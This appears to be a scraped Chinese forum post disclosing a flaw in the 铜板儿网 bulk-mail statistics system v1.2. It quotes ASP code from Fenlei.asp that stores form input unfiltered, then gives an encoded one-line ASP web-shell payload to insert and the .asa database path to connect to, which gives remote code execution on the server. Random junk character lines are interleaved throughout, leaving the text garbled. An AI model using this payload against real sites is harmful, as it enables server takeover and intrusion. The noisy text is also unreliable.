铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
9 R) r$ Z5 J) W& @+ _1 Y
IF Request.QueryString("Action")="del" Then
/ k# o$ c/ [4 m& G- U) g: XID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
9 n7 u% |: D! m& CRs.Open Sql,Conn,1,3
' U0 H; S& |5 IRs.Addnew
Rs("Typename")=Tname
0 A3 X; `* G- ~, C3 V+ f& V'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
8 G, V$ M! O2 Y" [Rs.Open Sql,Conn,1,1
'略
) ]& z) q% }7 M%>
; W- A7 t) X" N& J" e7 Y8 G1 o

6 X5 H3 g2 E2 o! s0 u
5 B+ @' W0 m& k- n( g没有过滤，直接写入数据库。
; Z6 B0 N4 A2 k6 s7 p8 b+ M
利用方法：

2 [0 i8 c) _. n0 W" L% D% ~插入：┼攠數畣整爠煥敵瑳∨≡┩>


连接： http://www.xxx.com/###tongbaner.asa
" Y: {& \& X2 ~' O' V- x'默认安装文件：
'install.asp